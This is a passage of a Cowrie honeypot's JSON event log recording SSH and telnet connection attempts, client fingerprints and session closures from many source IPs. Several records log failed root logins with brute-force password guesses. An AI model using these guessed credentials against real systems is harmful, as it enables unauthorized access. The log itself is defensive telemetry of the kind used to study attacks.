16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:08.452527Z","src_ip":"103.15.222.183","session":"0d989ed73feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:09.217959Z","src_ip":"103.15.222.183","session":"0d989ed73feb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:10.476667Z","src_ip":"103.15.222.183","session":"0d989ed73feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":46760,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8ded7190780","protocol":"ssh","message":"New connection: 72.17.34.38:46760 (10.17.0.5:22) [session: f8ded7190780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:38.601834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:38.605486Z","src_ip":"72.17.34.38","session":"f8ded7190780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.910890340805054,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:38.609045Z","src_ip":"172.81.62.90","session":"7329c2d637b2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:38.639408Z","src_ip":"72.17.34.38","session":"f8ded7190780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kai","message":"login attempt [root/kai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:38.811959Z","src_ip":"72.17.34.38","session":"f8ded7190780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:39.849678Z","src_ip":"72.17.34.38","session":"f8ded7190780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":37162,"dst_ip":"159.203.135.109","dst_port":22,"session":"044c6f46ddcf","protocol":"ssh","message":"New connection: 46.19.67.181:37162 (159.203.135.109:22) [session: 044c6f46ddcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:43.381521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:43.394346Z","src_ip":"46.19.67.181","session":"044c6f46ddcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:43.508928Z","src_ip":"46.19.67.181","session":"044c6f46ddcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vbkjxrf","message":"login attempt [root/vbkjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:43.852116Z","src_ip":"46.19.67.181","session":"044c6f46ddcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:42:44.969145Z","src_ip":"46.19.67.181","session":"044c6f46ddcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45270,"dst_ip":"159.203.135.109","dst_port":23,"session":"58dc73504d93","protocol":"telnet","message":"New connection: 107.6.151.170:45270 (159.203.135.109:23) [session: 58dc73504d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:19.740885Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58926,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1108be5b196","protocol":"telnet","message":"New connection: 172.81.62.90:58926 (159.203.135.109:23) [session: d1108be5b196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:29.377221Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":56268,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e71b64a43e9","protocol":"ssh","message":"New connection: 72.17.34.38:56268 (10.17.0.5:22) [session: 5e71b64a43e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:33.642362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:33.646946Z","src_ip":"72.17.34.38","session":"5e71b64a43e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:33.681602Z","src_ip":"72.17.34.38","session":"5e71b64a43e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123...com","message":"login attempt [root/123...com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:33.855555Z","src_ip":"72.17.34.38","session":"5e71b64a43e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:34.893422Z","src_ip":"72.17.34.38","session":"5e71b64a43e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.78.122","src_port":17004,"dst_ip":"159.203.135.109","dst_port":22,"session":"744312139ec4","protocol":"ssh","message":"New connection: 157.15.78.122:17004 (159.203.135.109:22) [session: 744312139ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:40.672585Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:41.173960Z","src_ip":"157.15.78.122","session":"744312139ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0dc79aae8f1","protocol":"ssh","message":"New connection: 103.176.20.57:53544 (159.203.135.109:22) [session: b0dc79aae8f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:45.838583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:45.841825Z","src_ip":"103.176.20.57","session":"b0dc79aae8f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:46.091352Z","src_ip":"103.176.20.57","session":"b0dc79aae8f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1908","message":"login attempt [root/1908] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:46.840676Z","src_ip":"103.176.20.57","session":"b0dc79aae8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:48.091004Z","src_ip":"103.176.20.57","session":"b0dc79aae8f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87913489341736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:44:50.619883Z","src_ip":"107.6.151.170","session":"58dc73504d93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba510c75d98a","protocol":"telnet","message":"New connection: 107.6.151.170:51898 (159.203.135.109:23) [session: ba510c75d98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:02.476634Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36358,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c140c022fac","protocol":"telnet","message":"New connection: 172.81.62.90:36358 (159.203.135.109:23) [session: 9c140c022fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:05.278839Z"}
{"eventid":"cowrie.session.closed","duration":40.87754440307617,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:10.254640Z","src_ip":"172.81.62.90","session":"d1108be5b196","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0437593460083,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:34.520262Z","src_ip":"107.6.151.170","session":"ba510c75d98a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.177.179.62","src_port":34252,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebfcdab09dac","protocol":"ssh","message":"New connection: 213.177.179.62:34252 (10.17.0.5:22) [session: ebfcdab09dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:41.262522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:41.332841Z","src_ip":"213.177.179.62","session":"ebfcdab09dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:41.412930Z","src_ip":"213.177.179.62","session":"ebfcdab09dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.693718910217285,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:43.972389Z","src_ip":"172.81.62.90","session":"9c140c022fac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:45:51.333419Z","src_ip":"213.177.179.62","session":"ebfcdab09dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":37548,"dst_ip":"10.17.0.5","dst_port":22,"session":"2701fa3a9284","protocol":"ssh","message":"New connection: 72.17.34.38:37548 (10.17.0.5:22) [session: 2701fa3a9284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:28.168420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:28.176756Z","src_ip":"72.17.34.38","session":"2701fa3a9284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:28.211366Z","src_ip":"72.17.34.38","session":"2701fa3a9284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999999","message":"login attempt [root/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:28.382976Z","src_ip":"72.17.34.38","session":"2701fa3a9284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:29.420505Z","src_ip":"72.17.34.38","session":"2701fa3a9284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33628,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ce832267d9","protocol":"telnet","message":"New connection: 94.23.66.112:33628 (10.17.0.5:23) [session: 72ce832267d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:32.097260Z"}
{"eventid":"cowrie.session.closed","duration":0.004321098327636719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:46:32.101484Z","src_ip":"94.23.66.112","session":"72ce832267d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":18920,"dst_ip":"10.17.0.5","dst_port":22,"session":"0444458325ad","protocol":"ssh","message":"New connection: 87.251.64.176:18920 (10.17.0.5:22) [session: 0444458325ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.062963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.065949Z","src_ip":"87.251.64.176","session":"0444458325ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:47:01.158365Z","src_ip":"87.251.64.176","session":"0444458325ad","protocol":"ssh"}
